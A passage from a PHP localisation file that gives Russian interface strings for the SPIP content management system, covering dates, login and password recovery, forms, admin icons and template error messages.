'date_fmt_jour_heure' => '@jour@ до @heure@',
'date_fmt_jour_heure_debut_fin' => '@jour@ с @heure_debut@ по @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@ с @heure_debut@@dtabbr@ по @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'от @nomjour@ @date@',
'date_fmt_periode' => 'С @date_debut@ по @date_fin@',
'date_fmt_periode_abbr' => 'С @dtart@@date_debut@@dtabbr@ по @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'С',
'date_fmt_periode_to' => 'по',
'date_heures' => 'час',
'date_hier' => 'вчера',
'date_il_y_a' => '@delai@ назад',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'воскресенье',
'date_jour_1_abbr' => 'Вос.',
'date_jour_1_initiale' => 'В.',
'date_jour_2' => 'понедельник',
'date_jour_2_abbr' => 'Пон.',
'date_jour_2_initiale' => 'П.',
'date_jour_3' => 'вторник',
'date_jour_3_abbr' => 'Вто.',
'date_jour_3_initiale' => 'В.',
'date_jour_4' => 'среда',
'date_jour_4_abbr' => 'Сре.',
'date_jour_4_initiale' => 'С.',
'date_jour_5' => 'четверг',
'date_jour_5_abbr' => 'Чет.',
'date_jour_5_initiale' => 'Ч.',
'date_jour_6' => 'пятница',
'date_jour_6_abbr' => 'Пят.',
'date_jour_6_initiale' => 'П.',
'date_jour_7' => 'суббота',
'date_jour_7_abbr' => 'Суб.',
'date_jour_7_initiale' => 'С.',
'date_jours' => 'день',
'date_minutes' => 'минуты',
'date_mois' => 'месяцы',
'date_mois_1' => 'Январь',
'date_mois_10' => 'Октябрь',
'date_mois_10_abbr' => 'Окт',
'date_mois_11' => 'Ноябрь',
'date_mois_11_abbr' => 'Ноя',
'date_mois_12' => 'Декабрь',
'date_mois_12_abbr' => 'Дек',
'date_mois_1_abbr' => 'Янв',
'date_mois_2' => 'Февраль',
'date_mois_2_abbr' => 'Фев',
'date_mois_3' => 'Март',
'date_mois_3_abbr' => 'Мар',
'date_mois_4' => 'Апрель',
'date_mois_4_abbr' => 'Апр',
'date_mois_5' => 'Май',
'date_mois_5_abbr' => 'Май',
'date_mois_6' => 'Июнь',
'date_mois_6_abbr' => 'Июн',
'date_mois_7' => 'Июль',
'date_mois_7_abbr' => 'Июл',
'date_mois_8' => 'Август',
'date_mois_8_abbr' => 'Авг',
'date_mois_9' => 'Сентябрь',
'date_mois_9_abbr' => 'Сен',
'date_saison_1' => 'зима',
'date_saison_2' => 'весна',
'date_saison_3' => 'лето',
'date_saison_4' => 'осень',
'date_secondes' => 'секунд',
'date_semaines' => 'недели',
'date_un_mois' => 'месяц',
'date_une_heure' => 'час(ов)',
'date_une_minute' => 'минут(а)',
'date_une_seconde' => 'секунда',
'date_une_semaine' => 'неделя',
'dirs_commencer' => 'для того, чтобы начать установку',
'dirs_preliminaire' => 'Подготовка: <b>Настройки прав доступа</b>',
'dirs_probleme_droits' => 'Проблема в правах доступа',
'dirs_repertoires_absents' => '<b>Следующие директории не найдены:<ul>@bad_dirs@.</ul></b>
<p>Возможная причина - неправильное положение строчных и прописных букв в названиях директорий.
Пожалуйста удостоверьтесь, что регистр букв в именах директорий соответствует тому, что выводится выше; если это не так, переименуйте директории, используя FTP-клиент, чтобы исправить ошибку.
</p><p>Как только это сделано, все заработает</p>',
'dirs_repertoires_suivants' => '<b>К следующим директориям не правильно прописаны права доступа <ul>@bad_dirs@.</ul></b>
<p>Для изменений прав доступа воспользуйтесь FTP клиентом.
Процедура описана в инструкции по установке.</p>
',
'double_occurrence' => 'Тег @balise@ встречается дважды',
// E
'en_cours' => 'выполняется',
'envoi_via_le_site' => 'Отправить при помощи сайта',
'erreur' => 'Ошибка',
'erreur_balise_non_fermee' => 'последний тэг не закрыт:',
'erreur_technique_enregistrement_champs' => 'Из-за технической ошибки не удалось правильно зарегистрировать поле @champs@.',
'erreur_technique_enregistrement_impossible' => 'Не удается зарегистрировать из-за технической ошибки.',
'erreur_texte' => 'Ошибка(и)',
'etape' => 'Этап',
// F
'fichier_introuvable' => 'Файл не найден: @fichier@',
'form_auteur_confirmation' => 'Пожалуйста, подтвердите ваш емейл',
'form_auteur_email_modifie' => 'Ваш емейл был изменен.',
'form_auteur_envoi_mail_confirmation' => 'Письмо о подтверждении было отправлено по адресу @email@. Вам необходимо будет перейти по ссылке в письме, что бы подтвердить ваш почтовый адрес.',
'form_auteur_mail_confirmation' => 'Добрый день,
Вы запросили смену вашего почтового адреса.
Что бы подтвердить ваш новый адрес перейдите по ссылке:
@url@
(В противном случае ваш запрос не будет выполнен):
',
'form_deja_inscrit' => 'Вы уже зарегистрированы.',
'form_email_non_valide' => 'Указан неправильный e-mail адрес.',
'form_forum_access_refuse' => 'У Вас больше нет доступа к этому сайту.',
'form_forum_bonjour' => 'Приветствуем @nom@,',
'form_forum_confirmer_email' => 'Для подтверждения регистрации на сайте перейдите по ссылке: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Этот адрес электронной почты уже зарегистрирован. Попробуйте использовать ваш обычный пароль.',
'form_forum_identifiant_mail' => 'Информация о параметрах входа на сайт была отправлена на вашу почту.',
'form_forum_identifiants' => 'Параметры входа на сайт',
'form_forum_indiquer_nom_email' => 'Введите ваше имя и адрес электронной почты. Вы получите параметры доступа к сайту по электронной почте.',
'form_forum_login' => 'логин:',
'form_forum_message_auto' => '(это автоматическое сообщение)',
'form_forum_pass' => 'пароль:',
'form_forum_probleme_mail' => 'Ошибка почты: не удалось выслать идентификатор.',
'form_forum_voici1' => 'Данные для доступа к сайту
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Данные для доступа на сайт
(возможность отправлять свои статьи)
"@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Пожалуйста, укажите ваш e-mail.',
'form_indiquer_nom' => 'Введите ваше имя.',
'form_indiquer_nom_site' => 'Пожалуйста, введите название вашего сайта.',
'form_pet_deja_enregistre' => 'Этот сайт уже зарегистрирован',
'form_pet_signature_pasprise' => 'Ваша подпись проигнорирована.',
'form_prop_confirmer_envoi' => 'Подтвердить отправку',
'form_prop_description' => 'Описание/комментарий',
'form_prop_enregistre' => 'Ваше предложение было записано и будет online после подтверждения администраторами сайта.',
'form_prop_envoyer' => 'Отправить сообщение',
'form_prop_indiquer_email' => 'Пожалуйста, укажите корректный e-mail ',
'form_prop_indiquer_nom_site' => 'Укажите название сайта.',
'form_prop_indiquer_sujet' => 'Укажите тему',
'form_prop_message_envoye' => 'Сообщение отправлено',
'form_prop_non_enregistre' => 'Ваше предложение не было записано.',
'form_prop_sujet' => 'Тема',
'form_prop_url_site' => 'URL сайта',
'forum_non_inscrit' => 'Или Вы не регистрированы, или адрес или пароль неправильны.',
'forum_par_auteur' => ' @auteur@',
'forum_titre_erreur' => 'Ошибка...',
// I
'ical_texte_rss_articles' => 'RSS лента сайта:',
'ical_texte_rss_articles2' => 'RSS разделов сайта:',
'ical_texte_rss_breves' => 'Еще есть файл, содержащий новости сайта. Выбирая разные рубрики, вы можете получать новости только из них.',
'icone_a_suivre' => 'Панель управления',
'icone_admin_site' => 'Администратор сайта',
'icone_agenda' => 'Календарь',
'icone_aide_ligne' => 'Помощь',
'icone_articles' => 'Статьи',
'icone_auteurs' => 'Автора',
'icone_brouteur' => 'Быстрый переход',
'icone_configuration_site' => 'Настройка',
'icone_configurer_site' => 'Настройте ваш сайт',
'icone_creer_nouvel_auteur' => 'Новый автор',
'icone_creer_rubrique' => 'Новый раздел',
'icone_creer_sous_rubrique' => 'Новый подраздел',
'icone_deconnecter' => 'Выйти',
'icone_discussions' => 'Обсуждения',
'icone_doc_rubrique' => 'Приложенные документы',
'icone_ecrire_article' => 'Новая статья',
'icone_edition_site' => 'Изменить сайт',
'icone_gestion_langues' => 'Языковые настройки',
'icone_informations_personnelles' => 'Персональная информация',
'icone_interface_complet' => 'Полный интерфейс',
'icone_interface_simple' => 'Упрощенный интерфейс',
'icone_maintenance_site' => 'Обслуживание сайта',
'icone_messagerie_personnelle' => 'Личные сообщения',
'icone_repartition_debut' => 'Распределение показов с начала',
'icone_rubriques' => 'Разделы',
'icone_sauver_site' => 'Резервная копия сайта',
'icone_site_entier' => 'Весь сайт',
'icone_sites_references' => 'Каталог сайтов',
'icone_statistiques' => 'Статистика сайта',
'icone_suivi_activite' => 'RSS и iCal',
'icone_suivi_actualite' => 'Статистика сайта',
'icone_suivi_pettions' => 'Комментарии',
'icone_suivi_revisions' => 'Версии статьи',
'icone_supprimer_document' => 'Удалить документ',
'icone_supprimer_image' => 'Удалить изображение',
'icone_tous_articles' => 'Ваши статьи',
'icone_tous_auteur' => 'Все автора',
'icone_tous_visiteur' => 'Все посетили',
'icone_visiter_site' => 'Посетить сайт',
'icone_voir_en_ligne' => 'Смотреть online',
'img_indisponible' => 'изображение недоступно',
'impossible' => 'невозможно',
'info_a_suivre' => 'ПАНЕЛЬ УПРАВЛЕНИЯ',
'info_acces_interdit' => 'Доступ запрещен',
'info_acces_refuse' => 'Доступ запрещен',
'info_action' => 'Действие: @action@',
'info_administrer_rubriques' => 'Вы можете управлять этим разделом и подразделами',
'info_adresse_non_indiquee' => 'Не указан адрес для проверки!',
'info_aide' => 'ПОМОЩЬ:',
'info_ajouter_mot' => 'Добавить ключ',
'info_annonce' => 'ОБЪЯВЛЕНИЕ',
'info_annonces_generales' => 'Общие объявления:',
'info_article_propose' => 'Статья отправлена',
'info_article_publie' => 'Статья опубликована',
'info_article_redaction' => 'Статья не опубликована',
'info_article_refuse' => 'Статья отклонена',
'info_article_supprime' => 'Статья удалена',
'info_articles' => 'Статьи',
'info_articles_a_valider' => 'Статьи для утверждения',
'info_articles_nb' => '@nb@ статей',
'info_articles_proposes' => 'Отправленные статьи',
'info_articles_un' => '1 статья',
'info_auteurs_nombre' => 'автор(а):',
'info_authentification_ftp' => 'FTP авторизация.',
'info_breves_2' => 'новости',
'info_breves_nb' => '@nb@ новостей',
'info_breves_un' => '1 новость',
'info_connexion_refusee' => 'Подключение запрещенно',
'info_contact_developpeur' => 'Свяжитесь с разработчиками.',
'info_contenance' => 'Этот сайт содержит:',
'info_contribution' => 'вложения в форум',
'info_copyright' => '@spip@ - это бесплатное программное обеспечение, распространяемое @lien_gpl@.',
'info_copyright_doc' => 'Больше информации о SPIP <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'под лицензией GPL.',
'info_cours_edition' => 'В работе',
'info_creer_repertoire' => 'Создайте файл или папку с названием:',
'info_creer_repertoire_2' => 'в подразделе <b>@repertoire@</b>, затем ',
'info_creer_vignette' => 'автоматическое создание миниатюр изображений',
'info_creerdansrubrique_non_autorise' => 'У вас недостаточно прав чтобы создавать материалы в этом разделе',
'info_deplier' => 'Откройте',
'info_descriptif_nombre' => 'описание(я):',
'info_description' => 'Описание:',
'info_description_2' => 'Описание:',
'info_dimension' => 'Размер:',
'info_documents_nb' => '@nb@ файлов',
'info_documents_un' => '1 файл',
'info_ecire_message_prive' => 'Написать личное сообщение',
'info_email_invalide' => 'Неправильный e-mail адрес',
'info_en_cours_validation' => 'Ваши неопубликованные статьи',
'info_en_ligne' => 'Сейчас on-line:',
'info_envoyer_message_prive' => 'Отправить личное сообщение автору',
'info_erreur_requete' => 'Ошибка в запросе:',
'info_erreur_squelette2' => 'Файл шаблона <b>@fichier@</b> недоступен',
'info_erreur_systeme' => 'Ошибка системы (errno @errsys@)',
'info_erreur_systeme2' => 'Закончилось место на диске или повреждена база данных. <br />
<span style="color:red;">Попробуйте <a href=\'@script@\'>восстановить базу данных</a>
или обратитесь к вашему хостинг-провайдеру.</span>',
'info_fini' => 'Готово!',
'info_format_image' => 'Формат, который используется для автоматического уменьшения изображений @gd_formats@.',
'info_format_non_defini' => 'неопределенный формат',
'info_grand_ecran' => 'Большой экран',
'info_image_aide' => 'ПОМОЩЬ',
'info_image_process_titre' => 'Как создавать миниатюры',
'info_impossible_lire_page' => '<b>Ошибка!</b> Страницу <tt><html>@test_proxy@</html></tt> нельзя получить через прокси сервер',
'info_installation_systeme_publication' => 'Установка SPIP ...',
'info_installer_documents' => 'Вы можете разместить файлы в папку @upload@ и они будут добавлены автоматически.',
'info_installer_ftp' => 'Вы можете переписать файлы по FTP в папку @upload@, что бы использовать их в дальнейшей работе. ',
'info_installer_images' => 'Вы можете добавлять изображения в форматах JPEG, GIF или PNG.',
'info_installer_images_dossier' => 'Добавьте изображения в папку @upload@ для использования их в этом меню.',
'info_interface_complete' => 'полный интерфейс',
'info_interface_simple' => 'Упрощенный интерфейс',
'info_joindre_document_article' => 'Вы можете добавить к вашей статье документы ',
'info_joindre_document_rubrique' => 'Вы можете добавить документы к этому разделу',
'info_joindre_documents_article' => 'Вы можете прикрепить к вашей статье документы:',
'info_l_article' => 'статья',
'info_la_breve' => 'новость',
'info_la_rubrique' => 'раздел',
'info_langue_principale' => 'Главный язык сайта',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ px',
'info_les_auteurs_1' => ' @les_auteurs@ ',
'info_logo_format_interdit' => 'Разрешено использовать логотипы только в форматах @formats@.',
'info_logo_max_poids' => 'Логотип должны быть меньше, чем @maxi@ (размер этого файла @actuel@).',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'СООБЩЕНИЕ',
'info_message_supprime' => 'СООБЩЕНИЕ УДАЛЕНО',
'info_messages_nb' => '@nb@ сообщений',
'info_messages_un' => '1 сообщение',
'info_mise_en_ligne' => 'Опубликовано:',
'info_modification_parametres_securite' => 'изменить настройки безопасности',
'info_mois_courant' => 'На протяжении месяца:',
'info_mot_cle_ajoute' => 'Ключ был добавлен к',
'info_multi_herit' => 'Язык по умолчанию',
'info_multi_langues_soulignees' => 'Если название <u>языка подчеркнуто</u>, то это значит, что есть перевод административной части SPIP на этот язык. При выборе других языков все системные сообщения будут выводится на основном языке сайта.',
'info_multilinguisme' => 'Многоязычность',
'info_nom_non_utilisateurs_connectes' => 'Не показывать меня в списке пользователей online.',
'info_nom_utilisateurs_connectes' => 'Показывать меня в списке пользователей online.',
'info_nombre_en_ligne' => 'Сейчас на сайте:',
'info_non_resultat' => 'Ничего не найдено по запросу "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Система приватных сообщений отключена на этом сайте.',
'info_nouveau_message' => 'ПОЛУЧЕНО НОВОЕ СООБЩЕНИЕ',
'info_nouveaux_messages' => 'У ВАС @total_messages@ НОВОЕ(ЫХ) СООБЩЕНИЕ(Й):',
'info_numero_abbreviation' => '№',
'info_obligatoire' => 'Обязательные поля',
'info_pense_bete' => 'ЗАМЕТКА',
'info_petit_ecran' => 'Маленький экран',
'info_petition_close' => 'Комментарий закрыт',
'info_pixels' => 'пиксели',
'info_plusieurs_mots_trouves' => 'По запросу "@cherche_mot@" были найдены такие ключи:',
'info_portfolio_automatique' => 'Автоматизированное портфолио:',
'info_premier_resultat' => '[@debut_limit@ из @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ из @total@]',
'info_propose_1' => '[@nom_site_spip@] Отправленные: @titre@',
'info_propose_2' => 'Статья отправлена на проверку
-----------------',
'info_propose_3' => 'Статья "@titre@" отправлена для публикации.',
'info_propose_4' => 'Вы приглашены для рецензирования. Выскажите свое мнение',
'info_propose_5' => 'на связанном с этим форуме, расположенном по адресу:',
'info_publie_01' => 'Статья "@titre@" была одобрена @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] ОПУБЛИКОВАНО: @titre@',
'info_publie_2' => 'Опубликована статья
-----------------',
'info_rechercher' => 'Поиск',
'info_rechercher_02' => 'Поиск:',
'info_remplacer_vignette' => 'Заменить миниатюру своим уменьшеным изображением:',
'info_rubriques_nb' => '@nb@ раздела(ов)',
'info_rubriques_un' => '1 раздел',
'info_sans_titre_2' => 'без названия',
'info_selectionner_fichier' => 'Вы можете выбрать файл из папки @upload@',
'info_selectionner_fichier_2' => 'Выбрать файл:',
'info_sites_nb' => '@nb@ сайтов',
'info_sites_un' => '1 сайт',
'info_supprimer_vignette' => 'удалить миниатюру',
'info_symbole_bleu' => '<b>Синий</b> символ указывает на <b>заметку</b> - сообщение для вашего личного использования.',
'info_symbole_jaune' => '<b>Желтый</b> символ - <b> объявление всем редакторам </b>: объявление может редактировать любой администратор и его видят все редактора.',
'info_symbole_vert' => '<b>Зеленый</b> символ - <b> переписка с другими польвователями </b> сайта.',
'info_telecharger_nouveau_logo' => 'Загрузить новое лого:',
'info_telecharger_ordinateur' => 'Загрузить с вашего компьютера:',
'info_tous_resultats_enregistres' => '[все результаты записаны]',
'info_tout_afficher' => 'Показать все',
'info_travaux_texte' => 'Ведутся работы по настройке сайта, скоро мы начнем работу.',
'info_travaux_titre' => 'Сайт еще не работает',
'info_trop_resultat' => 'Слишком много результатов по запросу "@cherche_mot@"; пожалуйста, уточните запрос.',
'info_utilisation_messagerie_interne' => 'Сервис внутренних приватных сообщений включен.',
'info_valider_lien' => 'подтвердить ссылку',
'info_verifier_image' => ', проверьте, что ваши изображения были переданы правильно.',
'info_vignette_defaut' => 'Миниатюра по умолчанию',
'info_vignette_personnalisee' => 'Ваша миниаюра (уменьшенное изображение)',
'info_visite' => 'посещение:',
'info_vos_rendez_vous' => 'Ваши будущие задачи',
'infos_vos_pense_bete' => 'Ваши заметки',
// L
'label_ajout_id_rapide' => 'Быстрое добавление',
'label_poids_fichier' => 'Размер',
'lien_afficher_icones_seuls' => 'Показывать только иконки',
'lien_afficher_texte_icones' => 'Показывать иконки и текст',
'lien_afficher_texte_seul' => 'Показывать только текст',
'lien_liberer' => 'версия',
'lien_liberer_tous' => 'освободить эти статьи',
'lien_nouvea_pense_bete' => 'НОВАЯ ЗАМЕТКА',
'lien_nouveau_message' => 'НОВОЕ СООБЩЕНИЕ',
'lien_nouvelle_annonce' => 'НОВОЕ ОБЪЯВЛЕНИЕ',
'lien_petitions' => 'КОММЕНТАРИЙ',
'lien_popularite' => 'популярность: @popularite@%',
'lien_racine_site' => 'КОРЕНЬ САЙТА',
'lien_reessayer' => 'попробуйте еще раз',
'lien_repondre_message' => 'Ответить на сообщение',
'lien_supprimer' => 'удалить',
'lien_tout_afficher' => 'Показать все',
'lien_visite_site' => 'посетить этот сайт',
'lien_visites' => '@visites@ посещений',
'lien_voir_auteur' => 'Проверить автора',
'ligne' => 'Линия',
'login' => 'Подключение',
'login_acces_prive' => 'доступ к административной части',
'login_autre_identifiant' => 'изменить логин',
'login_cookie_accepte' => 'Пожалуйста, настройте ваш браузер для приема cookies (по крайней мере для этого сайта).',
'login_cookie_oblige' => 'В вашем броузере должны быть включены cookies.',
'login_deconnexion_ok' => 'Вышел из системы.',
'login_erreur_pass' => 'Пароль введен неправильно.',
'login_espace_prive' => 'административная часть',
'login_identifiant_inconnu' => 'Логин "@login@" неизвестен.',
'login_login' => 'Логин:',
'login_login2' => 'Логин или email:',
'login_login_pass_incorrect' => '(Неправильный логин или пароль).',
'login_motpasseoublie' => 'забыли пароль?',
'login_non_securise' => 'Внимание, эта форма не безопасна
Если Вы не хотите, чтобы ваш пароль был открытым для
перехват в сети, активизируйте Javascript
в вашем браузере и',
'login_nouvelle_tentative' => 'Попробовать еще раз',
'login_par_ici' => 'Вы зарегистрированы ... вам сюда...',
'login_pass2' => 'Пароль:',
'login_preferez_refuser' => '<b>Если Вы хотите отказываться от cookies </b>, есть другой метод входа на сайт (менее безопасный):',
'login_recharger' => 'перегрузить страницу',
'login_rester_identifie' => 'Не спрашивать в течение нескольких дней',
'login_retour_public' => 'На главную страницу сайта',
'login_retour_site' => 'На главную страницу сайта',
'login_retoursitepublic' => 'на главную страницу сайта',
'login_sans_cookiie' => 'Идентификация без cookie',
'login_securise' => 'Безопасный вход',
'login_sinscrire' => 'регистрация',
'login_test_navigateur' => 'проверка браузера/(пере)подключения',
'login_verifiez_navigateur' => '(проверьте, что ваш браузер не запоминает ваш пароль ...), ',
// M
'masquer_colonne' => 'Скрыть колонку',
'masquer_trad' => 'скрыть перевод(ы)',
'module_fichiers_langues' => 'Языковые файлы',
// N
'navigateur_pas_redirige' => 'Если ваш браузер не переходит автоматически, нажмите здесь, чтобы продолжить.',
'numero' => 'Номер',
// O
'occurence' => 'Пример',
'onglet_affacer_base' => 'Удалить базу данных',
'onglet_auteur' => 'Автор',
'onglet_contenu_site' => 'Содержание сайта',
'onglet_evolution_visite_mod' => 'История посещений',
'onglet_fonctions_avances' => 'Дополнительные настройки',
'onglet_informations_personnelles' => 'Персональная информация',
'onglet_interactivite' => 'Регистрация, рассылки',
'onglet_messagerie' => 'Сообщения',
'onglet_repartition_rubrique' => 'Посещения по разделам',
'onglet_save_restaur_base' => 'Резервная копия/востановление базы данных',
'onglet_vider_cache' => 'Очистить кэш',
// P
'pass_choix_pass' => 'Введите новый пароль:',
'pass_erreur' => 'Ошибка',
'pass_erreur_acces_refuse' => '<b>Ошибка:</b> у вас больше нет доступа к этому сайту.',
'pass_erreur_code_inconnu' => '<b>Ошибка: </b> этот код не дает прав на доступ к этой части сайта.',
'pass_erreur_non_enregistre' => '<b>Ошибка:</b> адрес <tt>@email_oubli@</tt> не зарегистрирован на этом сайте.',
'pass_erreur_non_valide' => '<b>Ошибка:</b> e-mail <tt>@email_oubli@</tt> неправильный!',
'pass_erreur_probleme_technique' => '<b>Ошибка:</b> это письмо не может быть отправлено по техническим причинам.',
'pass_espace_prive_bla' => 'Вы можете войти в административную (приватную) часть сайта
после регистрации. После регистрации
вы можете создавать статьи
и участвовать во всех обсуждениях.',
'pass_forum_bla' => 'Вы отправили запрос для участия в
форуме, который доступен только для зарегистрированных пользователей.',
'pass_indiquez_cidessous' => 'Введите ниже адрес электронной почты с который вы
использовали для регистрации. Вам
будет отправленно письмо с дальнейшими инструкциями.',
'pass_mail_passcookie' => '(это письмо отправленно автоматически)
Для того, что бы восстановить ваш пароль к сайту
@nom_site_spip (@adresse_site)
перейдите по следующей ссылке:
@sendcookie@
Введите новый пароль и попробуйте снова зайти на сайт
(this is an automated message)
To retrieve your access to the site
@nom_site_spip@ (@adresse_site@)
Please go to the following address:
@sendcookie@
You can then enter a new password
and connect again to the site.
',
'pass_mot_oublie' => 'забытый пароль',
'pass_nouveau_enregistre' => 'Новый пароль сохранен.',
'pass_nouveau_pass' => 'Новый пароль',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Забытый пароль',
'pass_procedure_changer' => 'Введите e-mail, который вы указали при регистрации.',
'pass_quitter_fenetre' => 'Закрыть окно',
'pass_rappel_login' => 'Напоминаем: ваш логин "@login@".',
'pass_recevoir_mail' => 'Вы получите письмо, в котором будут дальнейшие инструкции по регистрации на сайте.',
'pass_retour_public' => 'Назад к основному сайту',
'pass_rien_a_faire_ici' => 'Нечего здесь делать',
'pass_vousinscrire' => 'Регистрация с сайта',
'precedent' => 'предыдущий',
'previsualisation' => 'Предварительный просмотр',
'previsualiser' => 'Предварительный просмотр',
// R
'retour' => 'Вернуться',
// S
'spip_conforme_dtd' => 'SPIP обнаружил, что данная страница соответствует своему DOCTYPE:',
'squelette' => 'шаблон',
'squelette_inclus_ligne' => 'включенный шаблон, строка',
'squelette_ligne' => 'шаблон, строка',
'stats_visites_et_popularite' => '@visites@ посещений; популярность: @popularite@',
'suivant' => 'следующий',
// T
'taille_go' => '@taille@ Гб',
'taille_ko' => '@taille@ кб',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Когда вы освоитесь с интерфейсом, нажмите «',
'texte_actualite_site_2' => 'полный интерфейс',
'texte_actualite_site_3' => '», который сделает больше функций доступными.',
'texte_creation_automatique_vignette' => 'Для каждого файла (в формате @gd_formats@), добавленного через форму, автоматически будет создана уменьшенная версия - миниатюра (максимальный размер @taille_preview@ пикселей).',
'texte_documents_associes' => 'Следующие документы связаны со статьей,
но они не были
вставлены. На сайте они могут отображаться как прикрепленные документы (в зависимости от дизайна).',
'texte_erreur_mise_niveau_base' => 'Ошибка базы данных в процессе апгрейда
Изображение <b> @fichier </b> нельзя передать (статьёй @id_article). <p>
Еще раз нажмите на ссылку, повторите процедуру апгрейда
и удостоверьтесь что изображение есть в статьях.',
'texte_erreur_visiteur' => 'Вы пробовали получить доступ к административной части сайта с использованием логина, который не имеет достаточно прав для такой операции.',
'texte_inc_auth_1' => 'Вы ввели логин <b>@auth_login@</b>. Такого пользователя нет в базе данных.
Пробуйте еще раз',
'texte_inc_auth_2' => '(пере)подключиться',
'texte_inc_auth_3' => 'выйдете и
перезагрузите ваш браузер в случае необходимости.',
'texte_inc_config' => 'Изменение настроек сайта очень сильно влияет на его работу.
Настоятельно рекомендуем менять настройки только в том случае, если вы четко представляете,
какие изменения это повлечет.
<b>Вы можете запросить консультацию у разработчика Вашего сайта по настройкам системы.</b>',
'texte_inc_meta_1' => 'Система вызвала ошибку,при попытки записи в файл <code>@fichier@</code>. Обратитесь к администратору сайта, что бы',
'texte_inc_meta_2' => 'проверить права доступа на запись',
'texte_inc_meta_3' => ' в папке <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'готовится',
'texte_statut_poubelle' => 'удалить',
'texte_statut_propose_evaluation' => 'утверждается',
'texte_statut_publie' => 'опубликована',
'texte_statut_refuse' => 'не утверждено ',
'titre_ajouter_mot_cle' => 'ДОБАВИТЬ КЛЮЧЕВОЕ СЛОВО:',
'titre_cadre_raccourcis' => 'БЫСТРЫЙ ПЕРЕХОД:',
'titre_changer_couleur_interface' => 'Изменение цвета интерфейса',
'titre_image_admin_article' => 'Вы можете администрировать эту статью ',
'titre_image_administrateur' => 'Администратор',
'titre_image_aide' => 'Помощь',
'titre_image_auteur_supprime' => 'Автор удален',
'titre_image_redacteur' => 'Редактор без доступа',
'titre_image_redacteur_02' => 'Редактор',
'titre_image_visiteur' => 'Посетитель',
'titre_joindre_document' => 'ПРИЛОЖИТЬ ДОКУМЕНТ',
'titre_mots_cles' => 'КЛЮЧИ',
'titre_probleme_technique' => 'Внимание: невозможно подключиться к SQL серверу, сайт не работает. Спасибо за понимание, мы постараемся оперативно решить проблему.',
'titre_publier_document' => 'ДОБАВИТЬ ДОКУМЕНТ К РАЗДЕЛУ',
'titre_signatures_attente' => 'Подписи ожидают одобрения',
'titre_signatures_confirmees' => 'Подписи подтверждены',
'titre_statistiques' => 'Статистика сайта',
'titre_titre_document' => 'Название документа:',
'todo' => 'сделать',
'trad_reference' => '(источник для переводов)',
// Z
'zbug_balise_b_aval' => ': B tag too late in loop',
'zbug_balise_inexistante' => 'Тег #@balise@ не корректно указан для @from@ ',
'zbug_balise_sans_argument' => 'Не хватает аргумента в теге @balise@',
'zbug_boucle' => 'цикл (boucle)',
'zbug_boucle_recursive_undef' => 'неопределен рекурсивный цикл (boucle): @nom@',
'zbug_calcul' => 'вычисления',
'zbug_champ_hors_boucle' => 'Поле @champ@ находится вне цикла (boucle)',
'zbug_champ_hors_motif' => 'Поле @champ@ находится вне контекста @motif@',
'zbug_code' => 'код ',
'zbug_critere_inconnu' => 'Неизвестный критерий @critere@',
'zbug_distant_interdit' => 'Внешние данные запрещены',
'zbug_doublon_table_sans_cle_primaire' => 'Дубликаты записей в таблице, не имеющей простого первичного ключа',
'zbug_doublon_table_sans_index' => 'Дубликаты записей в таблице без индекса',
'zbug_erreur_boucle_double' => 'Цикл @id@: двойное определение',
'zbug_erreur_boucle_fermant' => 'Цикл @id@: отсутствует закрывающий тег',
'zbug_erreur_boucle_syntaxe' => 'Синтаксическая ошибка в цикле @id@',
'zbug_erreur_compilation' => 'Ошибка компиляции',
'zbug_erreur_execution_page' => 'Ошибка исполнения',
'zbug_erreur_filtre' => 'Неопределенный фильтр @filtre@',
'zbug_erreur_meme_parent' => 'Критерий {meme_parent} может использоваться только в циклах (FORUMS) и (RUBRIQUES)',
'zbug_erreur_squelette' => 'Ошибка(и) в шаблоне',
'zbug_hors_compilation' => 'Не скомпилировано',
'zbug_info_erreur_squelette' => 'Ошибка на сайте',
'zbug_inversion_ordre_inexistant' => 'Реверсия несуществующего порядка',
'zbug_pagination_sans_critere' => 'Используется тег #PAGINATION но в цикле не указан критерий {pagination}. Возможно это рекурсивный цикл.',
'zbug_parametres_inclus_incorrects' => 'Неверный включающий параметр: @param@',
'zbug_profile' => 'Время вычисления: @time@',
'zbug_resultat' => 'результат',
'zbug_serveur_indefini' => 'Не определен SQL сервер',
'zbug_statistiques' => 'Информация о SQL запросах (отсортировано по времени выполнения) ',
'zbug_table_inconnue' => 'Неизвестная SQL таблица "@table@"',
'zxml_connus_attributs' => 'известные атрибуты',
'zxml_de' => 'из',
'zxml_inconnu_attribut' => 'неизвестный атрибут',
'zxml_inconnu_balise' => 'неизвестный тэг',
'zxml_inconnu_entite' => 'неизвестная запись',
